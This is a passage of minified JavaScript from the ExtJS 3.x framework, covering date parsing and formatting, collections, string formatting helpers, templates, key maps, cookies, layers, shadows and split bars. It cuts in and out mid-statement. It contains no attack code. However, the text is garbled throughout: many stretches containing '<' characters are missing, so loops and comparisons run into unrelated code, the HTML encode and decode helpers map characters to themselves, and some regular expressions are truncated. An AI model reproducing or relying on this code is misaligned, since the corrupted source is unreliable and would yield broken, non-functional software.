',loadScripts:false,sslBlankUrl:Ext.SSL_SECURE_URL};Ext.Updater.updateElement=function(d,c,e,b){var a=Ext.get(d).getUpdater();Ext.apply(a,b);a.update(c,e,b?b.callback:null)};Ext.Updater.BasicRenderer=function(){};Ext.Updater.BasicRenderer.prototype={render:function(c,a,b,d){c.update(a.responseText,b.loadScripts,d)}};(function(){Date.useStrict=false;function b(d){var c=Array.prototype.slice.call(arguments,1);return d.replace(/\{(\d+)\}/g,function(e,g){return c[g]})}Date.formatCodeToRegex=function(d,c){var e=Date.parseCodes[d];if(e){e=typeof e=="function"?e():e;Date.parseCodes[d]=e}return e?Ext.applyIf({c:e.c?b(e.c,c||"{0}"):e.c},e):{g:0,c:null,s:Ext.escapeRe(d)}};var a=Date.formatCodeToRegex;Ext.apply(Date,{parseFunctions:{"M$":function(d,c){var e=new RegExp("\\/Date\\(([-+])?(\\d+)(?:[+-]\\d{4})?\\)\\/");var g=(d||"").match(e);return g?new Date(((g[1]||"")+g[2])*1):null}},parseRegexes:[],formatFunctions:{"M$":function(){return"\\/Date("+this.getTime()+")\\/"}},y2kYear:50,MILLI:"ms",SECOND:"s",MINUTE:"mi",HOUR:"h",DAY:"d",MONTH:"mo",YEAR:"y",defaults:{},dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNumbers:{Jan:0,Feb:1,Mar:2,Apr:3,May:4,Jun:5,Jul:6,Aug:7,Sep:8,Oct:9,Nov:10,Dec:11},getShortMonthName:function(c){return Date.monthNames[c].substring(0,3)},getShortDayName:function(c){return Date.dayNames[c].substring(0,3)},getMonthNumber:function(c){return Date.monthNumbers[c.substring(0,1).toUpperCase()+c.substring(1,3).toLowerCase()]},formatCodes:{d:"String.leftPad(this.getDate(), 2, '0')",D:"Date.getShortDayName(this.getDay())",j:"this.getDate()",l:"Date.dayNames[this.getDay()]",N:"(this.getDay() ? this.getDay() : 7)",S:"this.getSuffix()",w:"this.getDay()",z:"this.getDayOfYear()",W:"String.leftPad(this.getWeekOfYear(), 2, '0')",F:"Date.monthNames[this.getMonth()]",m:"String.leftPad(this.getMonth() + 1, 2, '0')",M:"Date.getShortMonthName(this.getMonth())",n:"(this.getMonth() + 1)",t:"this.getDaysInMonth()",L:"(this.isLeapYear() ? 1 : 0)",o:"(this.getFullYear() + (this.getWeekOfYear() == 1 && this.getMonth() > 0 ? +1 : (this.getWeekOfYear() >= 52 && this.getMonth() < 11 ? -1 : 0)))",Y:"String.leftPad(this.getFullYear(), 4, '0')",y:"('' + this.getFullYear()).substring(2, 4)",a:"(this.getHours() < 12 ? 'am' : 'pm')",A:"(this.getHours() < 12 ? 'AM' : 'PM')",g:"((this.getHours() % 12) ? this.getHours() % 12 : 12)",G:"this.getHours()",h:"String.leftPad((this.getHours() % 12) ? this.getHours() % 12 : 12, 2, '0')",H:"String.leftPad(this.getHours(), 2, '0')",i:"String.leftPad(this.getMinutes(), 2, '0')",s:"String.leftPad(this.getSeconds(), 2, '0')",u:"String.leftPad(this.getMilliseconds(), 3, '0')",O:"this.getGMTOffset()",P:"this.getGMTOffset(true)",T:"this.getTimezone()",Z:"(this.getTimezoneOffset() * -60)",c:function(){for(var m="Y-m-dTH:i:sP",h=[],g=0,d=m.length;g= 0 && y >= 0){","v = new Date(y < 100 ? 100 : y, 0, 1, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);","v = !strict? v : (strict === true && (z <= 364 || (v.isLeapYear() && z <= 365))? v.add(Date.DAY, z) : null);","}else if(strict === true && !Date.isValid(y, m + 1, d, h, i, s, ms)){","v = null;","}else{","v = new Date(y < 100 ? 100 : y, m, d, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);","}","}","}","if(v){","if(zz != null){","v = v.add(Date.SECOND, -v.getTimezoneOffset() * 60 - zz);","}else if(o){","v = v.add(Date.MINUTE, -v.getTimezoneOffset() + (sn == '+'? -1 : 1) * (hr * 60 + mn));","}","}","return v;"].join("\n");return function(n){var e=Date.parseRegexes.length,p=1,g=[],m=[],l=false,d="",k=0,h,o;for(;k Date.y2kYear ? 1900 + ty : 2000 + ty;\n",s:"(\\d{1,2})"},a:function(){return a("A")},A:{calcLast:true,g:1,c:"if (/(am)/i.test(results[{0}])) {\nif (!h || h == 12) { h = 0; }\n} else { if (!h || h < 12) { h = (h || 0) + 12; }}",s:"(AM|PM|am|pm)"},g:function(){return a("G")},G:{g:1,c:"h = parseInt(results[{0}], 10);\n",s:"(\\d{1,2})"},h:function(){return a("H")},H:{g:1,c:"h = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},i:{g:1,c:"i = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},s:{g:1,c:"s = parseInt(results[{0}], 10);\n",s:"(\\d{2})"},u:{g:1,c:"ms = results[{0}]; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n",s:"(\\d+)"},O:{g:1,c:["o = results[{0}];","var sn = o.substring(0,1),","hr = o.substring(1,3)*1 + Math.floor(o.substring(3,5) / 60),","mn = o.substring(3,5) % 60;","o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"),s:"([+-]\\d{4})"},P:{g:1,c:["o = results[{0}];","var sn = o.substring(0,1),","hr = o.substring(1,3)*1 + Math.floor(o.substring(4,6) / 60),","mn = o.substring(4,6) % 60;","o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"),s:"([+-]\\d{2}:\\d{2})"},T:{g:0,c:null,s:"[A-Z]{1,4}"},Z:{g:1,c:"zz = results[{0}] * 1;\nzz = (-43200 <= zz && zz <= 50400)? zz : null;\n",s:"([+-]?\\d{1,5})"},c:function(){var e=[],c=[a("Y",1),a("m",2),a("d",3),a("h",4),a("i",5),a("s",6),{c:"ms = results[7] || '0'; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n"},{c:["if(results[8]) {","if(results[8] == 'Z'){","zz = 0;","}else if (results[8].indexOf(':') > -1){",a("P",8).c,"}else{",a("O",8).c,"}","}"].join("\n")}];for(var g=0,d=c.length;g0?"-":"+")+String.leftPad(Math.floor(Math.abs(this.getTimezoneOffset())/60),2,"0")+(a?":":"")+String.leftPad(Math.abs(this.getTimezoneOffset()%60),2,"0")},getDayOfYear:function(){var b=0,e=this.clone(),a=this.getMonth(),c;for(c=0,e.setDate(1),e.setMonth(0);c28){a=Math.min(a,this.getFirstDateOfMonth().add("mo",c).getLastDateOfMonth().getDate())}e.setDate(a);e.setMonth(this.getMonth()+c);break;case Date.YEAR:e.setFullYear(this.getFullYear()+c);break}return e},between:function(c,a){var b=this.getTime();return c.getTime()<=b&&b<=a.getTime()}});Date.prototype.format=Date.prototype.dateFormat;if(Ext.isSafari&&(navigator.userAgent.match(/WebKit\/(\d+)/)[1]||NaN)<420){Ext.apply(Date.prototype,{_xMonth:Date.prototype.setMonth,_xDate:Date.prototype.setDate,setMonth:function(a){if(a<=-1){var d=Math.ceil(-a),c=Math.ceil(d/12),b=(d%12)?12-d%12:0;this.setFullYear(this.getFullYear()-c);return this._xMonth(b)}else{return this._xMonth(a)}},setDate:function(a){return this.setTime(this.getTime()-(this.getDate()-a)*86400000)}})}Ext.util.MixedCollection=function(b,a){this.items=[];this.map={};this.keys=[];this.length=0;this.addEvents("clear","add","replace","remove","sort");this.allowFunctions=b===true;if(a){this.getKey=a}Ext.util.MixedCollection.superclass.constructor.call(this)};Ext.extend(Ext.util.MixedCollection,Ext.util.Observable,{allowFunctions:false,add:function(b,c){if(arguments.length==1){c=arguments[0];b=this.getKey(c)}if(typeof b!="undefined"&&b!==null){var a=this.map[b];if(typeof a!="undefined"){return this.replace(b,c)}this.map[b]=c}this.length++;this.items.push(c);this.keys.push(b);this.fireEvent("add",this.length-1,c,b);return c},getKey:function(a){return a.id},replace:function(c,d){if(arguments.length==1){d=arguments[0];c=this.getKey(d)}var a=this.map[c];if(typeof c=="undefined"||c===null||typeof a=="undefined"){return this.add(c,d)}var b=this.indexOfKey(c);this.items[b]=d;this.map[c]=d;this.fireEvent("replace",c,a,d);return d},addAll:function(e){if(arguments.length>1||Ext.isArray(e)){var b=arguments.length>1?arguments:e;for(var d=0,a=b.length;d=this.length){return this.add(b,c)}this.length++;this.items.splice(a,0,c);if(typeof b!="undefined"&&b!==null){this.map[b]=c}this.keys.splice(a,0,b);this.fireEvent("add",a,c,b);return c},remove:function(a){return this.removeAt(this.indexOf(a))},removeAt:function(a){if(a=0){this.length--;var c=this.items[a];this.items.splice(a,1);var b=this.keys[a];if(typeof b!="undefined"){delete this.map[b]}this.keys.splice(a,1);this.fireEvent("remove",c,b);return c}return false},removeKey:function(a){return this.removeAt(this.indexOfKey(a))},getCount:function(){return this.length},indexOf:function(a){return this.items.indexOf(a)},indexOfKey:function(a){return this.keys.indexOf(a)},item:function(b){var a=this.map[b],c=a!==undefined?a:(typeof b=="number")?this.items[b]:undefined;return typeof c!="function"||this.allowFunctions?c:null},itemAt:function(a){return this.items[a]},key:function(a){return this.map[a]},contains:function(a){return this.indexOf(a)!=-1},containsKey:function(a){return typeof this.map[a]!="undefined"},clear:function(){this.length=0;this.items=[];this.keys=[];this.map={};this.fireEvent("clear")},first:function(){return this.items[0]},last:function(){return this.items[this.length-1]},_sort:function(l,a,k){var d,e,b=String(a).toUpperCase()=="DESC"?-1:1,h=[],m=this.keys,g=this.items;k=k||function(i,c){return i-c};for(d=0,e=g.length;de?1:(g=a;c--){d[d.length]=b[c]}}return d},filter:function(c,b,d,a){if(Ext.isEmpty(b,false)){return this.clone()}b=this.createValueMatcher(b,d,a);return this.filterBy(function(e){return e&&b.test(e[c])})},filterBy:function(g,e){var h=new Ext.util.MixedCollection();h.getKey=this.getKey;var b=this.keys,d=this.items;for(var c=0,a=d.length;c]+>/gi,stripScriptsRe=/(?:)((\n|\r|.)*?)(?:<\/script>)/ig,nl2brRe=/\r?\n/g;return{ellipsis:function(value,len,word){if(value&&value.length>len){if(word){var vs=value.substr(0,len-2),index=Math.max(vs.lastIndexOf(" "),vs.lastIndexOf("."),vs.lastIndexOf("!"),vs.lastIndexOf("?"));if(index==-1||index<(len-15)){return value.substr(0,len-3)+"..."}else{return vs.substr(0,index)+"..."}}else{return value.substr(0,len-3)+"..."}}return value},undef:function(value){return value!==undefined?value:""},defaultValue:function(value,defaultValue){return value!==undefined&&value!==""?value:defaultValue},htmlEncode:function(value){return !value?value:String(value).replace(/&/g,"&").replace(/>/g,">").replace(/").replace(/</g,"<").replace(/"/g,'"').replace(/&/g,"&")},trim:function(value){return String(value).replace(trimRe,"")},substr:function(value,start,length){return String(value).substr(start,length)},lowercase:function(value){return String(value).toLowerCase()},uppercase:function(value){return String(value).toUpperCase()},capitalize:function(value){return !value?value:value.charAt(0).toUpperCase()+value.substr(1).toLowerCase()},call:function(value,fn){if(arguments.length>2){var args=Array.prototype.slice.call(arguments,2);args.unshift(value);return eval(fn).apply(window,args)}else{return eval(fn).call(window,value)}},usMoney:function(v){v=(Math.round((v-0)*100))/100;v=(v==Math.floor(v))?v+".00":((v*10==Math.floor(v*10))?v+"0":v);v=String(v);var ps=v.split("."),whole=ps[0],sub=ps[1]?"."+ps[1]:".00",r=/(\d+)(\d{3})/;while(r.test(whole)){whole=whole.replace(r,"$1,$2")}v=whole+sub;if(v.charAt(0)=="-"){return"-$"+v.substr(1)}return"$"+v},date:function(v,format){if(!v){return""}if(!Ext.isDate(v)){v=new Date(Date.parse(v))}return v.dateFormat(format||"m/d/Y")},dateRenderer:function(format){return function(v){return Ext.util.Format.date(v,format)}},stripTags:function(v){return !v?v:String(v).replace(stripTagsRE,"")},stripScripts:function(v){return !v?v:String(v).replace(stripScriptsRe,"")},fileSize:function(size){if(size<1024){return size+" bytes"}else{if(size<1048576){return(Math.round(((size*10)/1024))/10)+" KB"}else{return(Math.round(((size*10)/1048576))/10)+" MB"}}},math:function(){var fns={};return function(v,a){if(!fns[a]){fns[a]=new Function("v","return v "+a+";")}return fns[a](v)}}(),round:function(value,precision){var result=Number(value);if(typeof precision=="number"){precision=Math.pow(10,precision);result=Math.round(value*precision)/precision}return result},number:function(v,format){if(!format){return v}v=Ext.num(v,NaN);if(isNaN(v)){return""}var comma=",",dec=".",i18n=false,neg=v<0;v=Math.abs(v);if(format.substr(format.length-2)=="/i"){format=format.substr(0,format.length-2);i18n=true;comma=".";dec=","}var hasComma=format.indexOf(comma)!=-1,psplit=(i18n?format.replace(/[^\d\,]/g,""):format.replace(/[^\d\.]/g,"")).split(dec);if(1")}}}();Ext.XTemplate=function(){Ext.XTemplate.superclass.constructor.apply(this,arguments);var z=this,k=z.html,r=/]*>((?:(?=([^<]+))\2|<(?!tpl\b[^>]*>))*?)<\/tpl>/,d=/^]*?for="(.*?)"/,w=/^]*?if="(.*?)"/,y=/^]*?exec="(.*?)"/,t,q=0,l=[],p="values",x="parent",n="xindex",o="xcount",e="return ",c="with(values){ ";k=["",k,""].join("");while((t=k.match(r))){var b=t[0].match(d),a=t[0].match(w),B=t[0].match(y),g=null,h=null,u=null,A=b&&b[1]?b[1]:"";if(a){g=a&&a[1]?a[1]:null;if(g){h=new Function(p,x,n,o,c+e+(Ext.util.Format.htmlDecode(g))+"; }")}}if(B){g=B&&B[1]?B[1]:null;if(g){u=new Function(p,x,n,o,c+(Ext.util.Format.htmlDecode(g))+"; }")}}if(A){switch(A){case".":A=new Function(p,x,c+e+p+"; }");break;case"..":A=new Function(p,x,c+e+x+"; }");break;default:A=new Function(p,x,c+e+A+"; }")}}l.push({id:q,target:A,exec:u,test:h,body:t[1]||""});k=k.replace(t[0],"{xtpl"+q+"}");++q}for(var v=l.length-1;v>=0;--v){z.compileTpl(l[v])}z.master=l[l.length-1];z.tpls=l};Ext.extend(Ext.XTemplate,Ext.Template,{re:/\{([\w-\.\#]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?(\s?[\+\-\*\\]\s?[\d\.\+\-\*\\\(\)]+)?\}/g,codeRe:/\{\[((?:\\\]|.|\n)*?)\]\}/g,applySubTemplate:function(a,l,k,d,c){var h=this,g,n=h.tpls[a],m,b=[];if((n.test&&!n.test.call(h,l,k,d,c))||(n.exec&&n.exec.call(h,l,k,d,c))){return""}m=n.target?n.target.call(h,l,k):l;g=m.length;k=n.target?l:k;if(n.target&&Ext.isArray(m)){for(var e=0,g=m.length;e=0;--g){d[k[g].selectorText.toLowerCase()]=k[g]}}catch(i){}},getRules:function(h){if(d===null||h){d={};var l=c.styleSheets;for(var k=0,g=l.length;k=37&&a<=40){b.stopEvent()}},destroy:function(){this.disable()},enable:function(){if(this.disabled){if(Ext.isSafari2){this.el.on("keyup",this.stopKeyUp,this)}this.el.on(this.isKeydown()?"keydown":"keypress",this.relay,this);this.disabled=false}},disable:function(){if(!this.disabled){if(Ext.isSafari2){this.el.un("keyup",this.stopKeyUp,this)}this.el.un(this.isKeydown()?"keydown":"keypress",this.relay,this);this.disabled=true}},setDisabled:function(a){this[a?"disable":"enable"]()},isKeydown:function(){return this.forceKeyDown||Ext.EventManager.useKeydown}};Ext.KeyMap=function(c,b,a){this.el=Ext.get(c);this.eventName=a||"keydown";this.bindings=[];if(b){this.addBinding(b)}this.enable()};Ext.KeyMap.prototype={stopEvent:false,addBinding:function(b){if(Ext.isArray(b)){Ext.each(b,function(m){this.addBinding(m)},this);return}var k=b.key,g=b.fn||b.handler,l=b.scope;if(b.stopEvent){this.stopEvent=b.stopEvent}if(typeof k=="string"){var h=[];var e=k.toUpperCase();for(var c=0,d=e.length;c2)?a[2]:null;var h=(i>3)?a[3]:"/";var d=(i>4)?a[4]:null;var g=(i>5)?a[5]:false;document.cookie=c+"="+escape(e)+((b===null)?"":("; expires="+b.toGMTString()))+((h===null)?"":("; path="+h))+((d===null)?"":("; domain="+d))+((g===true)?"; secure":"")},get:function(d){var b=d+"=";var g=b.length;var a=document.cookie.length;var e=0;var c=0;while(e0){return this.ownerCt.items.itemAt(a-1)}}return null},getBubbleTarget:function(){return this.ownerCt}});Ext.reg("component",Ext.Component);Ext.Action=Ext.extend(Object,{constructor:function(a){this.initialConfig=a;this.itemId=a.itemId=(a.itemId||a.id||Ext.id());this.items=[]},isAction:true,setText:function(a){this.initialConfig.text=a;this.callEach("setText",[a])},getText:function(){return this.initialConfig.text},setIconClass:function(a){this.initialConfig.iconCls=a;this.callEach("setIconClass",[a])},getIconClass:function(){return this.initialConfig.iconCls},setDisabled:function(a){this.initialConfig.disabled=a;this.callEach("setDisabled",[a])},enable:function(){this.setDisabled(false)},disable:function(){this.setDisabled(true)},isDisabled:function(){return this.initialConfig.disabled},setHidden:function(a){this.initialConfig.hidden=a;this.callEach("setVisible",[!a])},show:function(){this.setHidden(false)},hide:function(){this.setHidden(true)},isHidden:function(){return this.initialConfig.hidden},setHandler:function(b,a){this.initialConfig.handler=b;this.initialConfig.scope=a;this.callEach("setHandler",[b,a])},each:function(b,a){Ext.each(this.items,b,a)},callEach:function(e,b){var d=this.items;for(var c=0,a=d.length;ck+p.left){l=k-m-c;g=true}if((i+e)>d+p.top){i=d-e-c;g=true}if(l=n){i=n-e-5}}o=[l,i];this.storeXY(o);a.setXY.call(this,o);this.sync()}}return this},getConstrainOffset:function(){return this.shadowOffset},isVisible:function(){return this.visible},showAction:function(){this.visible=true;if(this.useDisplay===true){this.setDisplayed("")}else{if(this.lastXY){a.setXY.call(this,this.lastXY)}else{if(this.lastLT){a.setLeftTop.call(this,this.lastLT[0],this.lastLT[1])}}}},hideAction:function(){this.visible=false;if(this.useDisplay===true){this.setDisplayed(false)}else{this.setLeftTop(-10000,-10000)}},setVisible:function(i,h,l,m,k){if(i){this.showAction()}if(h&&i){var g=function(){this.sync(true);if(m){m()}}.createDelegate(this);a.setVisible.call(this,true,true,l,g,k)}else{if(!i){this.hideUnders(true)}var g=m;if(h){g=function(){this.hideAction();if(m){m()}}.createDelegate(this)}a.setVisible.call(this,i,h,l,g,k);if(i){this.sync(true)}else{if(!h){this.hideAction()}}}return this},storeXY:function(c){delete this.lastLT;this.lastXY=c},storeLeftTop:function(d,c){delete this.lastXY;this.lastLT=[d,c]},beforeFx:function(){this.beforeAction();return Ext.Layer.superclass.beforeFx.apply(this,arguments)},afterFx:function(){Ext.Layer.superclass.afterFx.apply(this,arguments);this.sync(this.isVisible())},beforeAction:function(){if(!this.updating&&this.shadow){this.shadow.hide()}},setLeft:function(c){this.storeLeftTop(c,this.getTop(true));a.setLeft.apply(this,arguments);this.sync();return this},setTop:function(c){this.storeLeftTop(this.getLeft(true),c);a.setTop.apply(this,arguments);this.sync();return this},setLeftTop:function(d,c){this.storeLeftTop(d,c);a.setLeftTop.apply(this,arguments);this.sync();return this},setXY:function(k,h,l,m,i){this.fixDisplay();this.beforeAction();this.storeXY(k);var g=this.createCB(m);a.setXY.call(this,k,h,l,g,i);if(!h){g()}return this},createCB:function(e){var d=this;return function(){d.constrainXY();d.sync(true);if(e){e()}}},setX:function(g,h,k,l,i){this.setXY([g,this.getY()],h,k,l,i);return this},setY:function(l,g,i,k,h){this.setXY([this.getX(),l],g,i,k,h);return this},setSize:function(k,l,i,n,o,m){this.beforeAction();var g=this.createCB(o);a.setSize.call(this,k,l,i,n,g,m);if(!i){g()}return this},setWidth:function(i,h,l,m,k){this.beforeAction();var g=this.createCB(m);a.setWidth.call(this,i,h,l,g,k);if(!h){g()}return this},setHeight:function(k,i,m,n,l){this.beforeAction();var g=this.createCB(n);a.setHeight.call(this,k,i,m,g,l);if(!i){g()}return this},setBounds:function(p,n,q,i,o,l,m,k){this.beforeAction();var g=this.createCB(m);if(!o){this.storeXY([p,n]);a.setXY.call(this,[p,n]);a.setSize.call(this,q,i,o,l,g,k);g()}else{a.setBounds.call(this,p,n,q,i,o,l,g,k)}return this},setZIndex:function(c){this.zindex=c;this.setStyle("z-index",c+2);if(this.shadow){this.shadow.setZIndex(c+1)}if(this.shim){this.shim.setStyle("z-index",c)}return this}})})();Ext.Shadow=function(d){Ext.apply(this,d);if(typeof this.mode!="string"){this.mode=this.defaultMode}var e=this.offset,c={h:0},b=Math.floor(this.offset/2);switch(this.mode.toLowerCase()){case"drop":c.w=0;c.l=c.t=e;c.t-=1;if(Ext.isIE){c.l-=this.offset+b;c.t-=this.offset+b;c.w-=b;c.h-=b;c.t+=1}break;case"sides":c.w=(e*2);c.l=-e;c.t=e-1;if(Ext.isIE){c.l-=(this.offset-b);c.t-=this.offset+b;c.l+=1;c.w-=(this.offset-b)*2;c.w-=b+1;c.h-=1}break;case"frame":c.w=c.h=(e*2);c.l=c.t=-e;c.t+=1;c.h-=2;if(Ext.isIE){c.l-=(this.offset-b);c.t-=(this.offset-b);c.l+=1;c.w-=(this.offset+b+1);c.h-=(this.offset+b);c.h+=1}break}this.adjusts=c};Ext.Shadow.prototype={offset:4,defaultMode:"drop",show:function(a){a=Ext.get(a);if(!this.el){this.el=Ext.Shadow.Pool.pull();if(this.el.dom.nextSibling!=a.dom){this.el.insertBefore(a)}}this.el.setStyle("z-index",this.zIndex||parseInt(a.getStyle("z-index"),10)-1);if(Ext.isIE){this.el.dom.style.filter="progid:DXImageTransform.Microsoft.alpha(opacity=50) progid:DXImageTransform.Microsoft.Blur(pixelradius="+(this.offset)+")"}this.realign(a.getLeft(true),a.getTop(true),a.getWidth(),a.getHeight());this.el.dom.style.display="block"},isVisible:function(){return this.el?true:false},realign:function(b,u,r,g){if(!this.el){return}var o=this.adjusts,m=this.el.dom,v=m.style,i=0,q=(r+o.w),e=(g+o.h),k=q+"px",p=e+"px",n,c;v.left=(b+o.l)+"px";v.top=(u+o.t)+"px";if(v.width!=k||v.height!=p){v.width=k;v.height=p;if(!Ext.isIE){n=m.childNodes;c=Math.max(0,(q-12))+"px";n[0].childNodes[1].style.width=c;n[1].childNodes[1].style.width=c;n[2].childNodes[1].style.width=c;n[1].style.height=Math.max(0,(e-12))+"px"}}},hide:function(){if(this.el){this.el.dom.style.display="none";Ext.Shadow.Pool.push(this.el);delete this.el}},setZIndex:function(a){this.zIndex=a;if(this.el){this.el.setStyle("z-index",a)}}};Ext.Shadow.Pool=function(){var b=[],a=Ext.isIE?'
':'
';return{pull:function(){var c=b.shift();if(!c){c=Ext.get(Ext.DomHelper.insertHtml("beforeBegin",document.body.firstChild,a));c.autoBoxAdjust=false}return c},push:function(c){b.push(c)}}}();Ext.BoxComponent=Ext.extend(Ext.Component,{initComponent:function(){Ext.BoxComponent.superclass.initComponent.call(this);this.addEvents("resize","move")},boxReady:false,deferHeight:false,setSize:function(b,d){if(typeof b=="object"){d=b.height;b=b.width}if(Ext.isDefined(b)&&Ext.isDefined(this.boxMinWidth)&&(bthis.boxMaxWidth)){b=this.boxMaxWidth}if(Ext.isDefined(d)&&Ext.isDefined(this.boxMaxHeight)&&(d>this.boxMaxHeight)){d=this.boxMaxHeight}if(!this.boxReady){this.width=b;this.height=d;return this}if(this.cacheSizes!==false&&this.lastSize&&this.lastSize.width==b&&this.lastSize.height==d){return this}this.lastSize={width:b,height:d};var c=this.adjustSize(b,d),g=c.width,a=c.height,e;if(g!==undefined||a!==undefined){e=this.getResizeEl();if(!this.deferHeight&&g!==undefined&&a!==undefined){e.setSize(g,a)}else{if(!this.deferHeight&&a!==undefined){e.setHeight(a)}else{if(g!==undefined){e.setWidth(g)}}}this.onResize(g,a,b,d);this.fireEvent("resize",this,g,a,b,d)}return this},setWidth:function(a){return this.setSize(a)},setHeight:function(a){return this.setSize(undefined,a)},getSize:function(){return this.getResizeEl().getSize()},getWidth:function(){return this.getResizeEl().getWidth()},getHeight:function(){return this.getResizeEl().getHeight()},getOuterSize:function(){var a=this.getResizeEl();return{width:a.getWidth()+a.getMargins("lr"),height:a.getHeight()+a.getMargins("tb")}},getPosition:function(a){var b=this.getPositionEl();if(a===true){return[b.getLeft(true),b.getTop(true)]}return this.xy||b.getXY()},getBox:function(a){var c=this.getPosition(a);var b=this.getSize();b.x=c[0];b.y=c[1];return b},updateBox:function(a){this.setSize(a.width,a.height);this.setPagePosition(a.x,a.y);return this},getResizeEl:function(){return this.resizeEl||this.el},setAutoScroll:function(a){if(this.rendered){this.getContentTarget().setOverflow(a?"auto":"")}this.autoScroll=a;return this},setPosition:function(a,g){if(a&&typeof a[1]=="number"){g=a[1];a=a[0]}this.x=a;this.y=g;if(!this.boxReady){return this}var b=this.adjustPosition(a,g);var e=b.x,d=b.y;var c=this.getPositionEl();if(e!==undefined||d!==undefined){if(e!==undefined&&d!==undefined){c.setLeftTop(e,d)}else{if(e!==undefined){c.setLeft(e)}else{if(d!==undefined){c.setTop(d)}}}this.onPosition(e,d);this.fireEvent("move",this,e,d)}return this},setPagePosition:function(a,c){if(a&&typeof a[1]=="number"){c=a[1];a=a[0]}this.pageX=a;this.pageY=c;if(!this.boxReady){return}if(a===undefined||c===undefined){return}var b=this.getPositionEl().translatePoints(a,c);this.setPosition(b.left,b.top);return this},afterRender:function(){Ext.BoxComponent.superclass.afterRender.call(this);if(this.resizeEl){this.resizeEl=Ext.get(this.resizeEl)}if(this.positionEl){this.positionEl=Ext.get(this.positionEl)}this.boxReady=true;Ext.isDefined(this.autoScroll)&&this.setAutoScroll(this.autoScroll);this.setSize(this.width,this.height);if(this.x||this.y){this.setPosition(this.x,this.y)}else{if(this.pageX||this.pageY){this.setPagePosition(this.pageX,this.pageY)}}},syncSize:function(){delete this.lastSize;this.setSize(this.autoWidth?undefined:this.getResizeEl().getWidth(),this.autoHeight?undefined:this.getResizeEl().getHeight());return this},onResize:function(d,b,a,c){},onPosition:function(a,b){},adjustSize:function(a,b){if(this.autoWidth){a="auto"}if(this.autoHeight){b="auto"}return{width:a,height:b}},adjustPosition:function(a,b){return{x:a,y:b}}});Ext.reg("box",Ext.BoxComponent);Ext.Spacer=Ext.extend(Ext.BoxComponent,{autoEl:"div"});Ext.reg("spacer",Ext.Spacer);Ext.SplitBar=function(c,e,b,d,a){this.el=Ext.get(c,true);this.el.dom.unselectable="on";this.resizingEl=Ext.get(e,true);this.orientation=b||Ext.SplitBar.HORIZONTAL;this.minSize=0;this.maxSize=2000;this.animate=false;this.useShim=false;this.shim=null;if(!a){this.proxy=Ext.SplitBar.createProxy(this.orientation)}else{this.proxy=Ext.get(a).dom}this.dd=new Ext.dd.DDProxy(this.el.dom.id,"XSplitBars",{dragElId:this.proxy.id});this.dd.b4StartDrag=this.onStartProxyDrag.createDelegate(this);this.dd.endDrag=this.onEndProxyDrag.createDelegate(this);this.dragSpecs={};this.adapter=new Ext.SplitBar.BasicLayoutAdapter();this.adapter.init(this);if(this.orientation==Ext.SplitBar.HORIZONTAL){this.placement=d||(this.el.getX()>this.resizingEl.getX()?Ext.SplitBar.LEFT:Ext.SplitBar.RIGHT);this.el.addClass("x-splitbar-h")}else{this.placement=d||(this.el.getY()>this.resizingEl.getY()?Ext.SplitBar.TOP:Ext.SplitBar.BOTTOM);this.el.addClass("x-splitbar-v")}this.addEvents("resize","moved","beforeresize","beforeapply");Ext.SplitBar.superclass.constructor.call(this)};Ext.extend(Ext.SplitBar,Ext.util.Observable,{onStartProxyDrag:function(a,e){this.fireEvent("beforeresize",this);this.overlay=Ext.DomHelper.append(document.body,{cls:"x-drag-overlay",html:" "},true);this.overlay.unselectable();this.overlay.setSize(Ext.lib.Dom.getViewWidth(true),Ext.lib.Dom.getViewHeight(true));this.overlay.show();Ext.get(this.proxy).setDisplayed("block");var c=this.adapter.getElementSize(this);this.activeMinSize=this.getMinimumSize();this.activeMaxSize=this.getMaximumSize();var d=c-this.activeMinSize;var b=Math.max(this.activeMaxSize-c,0);if(this.orientation==Ext.SplitBar.HORIZONTAL){this.dd.resetConstraints();this.dd.setXConstraint(this.placement==Ext.SplitBar.LEFT?d:b,this.placement==Ext.SplitBar.LEFT?b:d,this.tickSize);this.dd.setYConstraint(0,0)}else{this.dd.resetConstraints();this.dd.setXConstraint(0,0);this.dd.setYConstraint(this.placement==Ext.SplitBar.TOP?d:b,this.placement==Ext.SplitBar.TOP?b:d,this.tickSize)}this.dragSpecs.startSize=c;this.dragSpecs.startPoint=[a,e];Ext.dd.DDProxy.prototype.b4StartDrag.call(this.dd,a,e)},onEndProxyDrag:function(c){Ext.get(this.proxy).setDisplayed(false);var b=Ext.lib.Event.getXY(c);if(this.overlay){Ext.destroy(this.overlay);delete this.overlay}var a;if(this.orientation==Ext.SplitBar.HORIZONTAL){a=this.dragSpecs.startSize+(this.placement==Ext.SplitBar.LEFT?b[0]-this.dragSpecs.startPoint[0]:this.dragSpecs.startPoint[0]-b[0])}else{a=this.dragSpecs.startSize+(this.placement==Ext.SplitBar.TOP?b[1]-this.dragSpecs.startPoint[1]:this.dragSpecs.startPoint[1]-b[1])}a=Math.min(Math.max(a,this.activeMinSize),this.activeMaxSize);if(a!=this.dragSpecs.startSize){if(this.fireEvent("beforeapply",this,a)!==false){this.adapter.setElementSize(this,a);this.fireEvent("moved",this,a);this.fireEvent("resize",this,a)}}},getAdapter:function(){return this.adapter},setAdapter:function(a){this.adapter=a;this.adapter.init(this)},getMinimumSize:function(){return this.minSize},setMinimumSize:function(a){this.minSize=a},getMaximumSize:function(){return this.maxSize},setMaximumSize:function(a){this.maxSize=a},setCurrentSize:function(b){var a=this.animate;this.animate=false;this.adapter.setElementSize(this,b);this.animate=a},destroy:function(a){Ext.destroy(this.shim,Ext.get(this.proxy));this.dd.unreg();if(a){this.el.remove()}this.purgeListeners()}});Ext.SplitBar.createProxy=function(b){var c=new 